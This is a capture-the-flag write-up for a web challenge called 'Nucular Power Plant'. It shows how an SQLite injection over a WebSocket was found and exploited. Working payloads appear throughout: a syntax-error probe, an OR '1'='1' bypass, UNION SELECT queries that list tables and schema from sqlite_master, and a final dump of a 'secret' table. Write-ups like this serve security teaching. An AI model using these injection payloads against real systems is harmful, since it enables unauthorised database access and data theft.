Rating:

# Nucular Power Plant

## baby-web - Points: 105

> We found this overview page of nucular power plants, maybe you can get us some secret data to fight them?
>
> http://31.22.123.49:1909

When inspecting the source code of the website, you will quickly stumble over the `main.js` and some communication via a `WebSocket`. It receives `JSON` messages in different types. It will at first receive an `Array` and call the `plantList`, that contains all the power plants that are visible in the list. As soon as you select a power plant, it will receive data for `plantDetails`, the information shown in the center and then continuously receive data of type `number`, some random values, to update the current power supply state.

To reveal the data in `Chromium`, open the `DevTools` (F12), goto the `Sources` tab and open the `main.js` and add `console.log(data);` right after the parsing of the message.

The interesting part is, how the selection of a plant is handled: When you select a plant, it sends the name of it over the socket. If you probe for `SQLi`, for example by modifying `ws.send('" foo');`, it returns the string

Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("near \"foo\": syntax error"))

So it is `SQLite` database and it is vulnerable! :)

With `ws.send('" OR "1"="1" LIMIT 1 OFFSET 1;');` where you are free to change the `offset` you can force to load specific data, but there seems to be nothing more interesting in the table.

Lets try to enumerate all the tables of the database, [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md) has some useful queries for this:

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

But we have to make it compatible for our query, we can do a `UNION` and add some dummy data to keep the structure of the initial `SELECT` that we can not change. The following query will now print the table name as the plant name:

ws.send('" UNION SELECT tbl_name, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%";');

And we get as a result `nucular_plant` as table name. Are there more tables?

ws.send('" UNION SELECT tbl_name, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%" LIMIT 1 OFFSET 1;');

Oh, there is also another table named `secret`! :)

Lets try to enumerate the column names:

ws.send('" UNION SELECT sql, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name NOT LIKE "sqlite_%" AND name ="secret";');

And we get as result the structure of the table:

CREATE TABLE secret (id INTEGER PRIMARY KEY,name TEXT NOT NULL,value TEXT NOT NULL)

Lets read it out:

ws.send('" UNION SELECT name, value, id, 0, "foo", 0 FROM secret;');

flag: `flag{sqli_as_a_socket}`

Original writeup (https://github.com/0xf4b1/ctftime/tree/master/hack.lu/web/nucular-power-plant).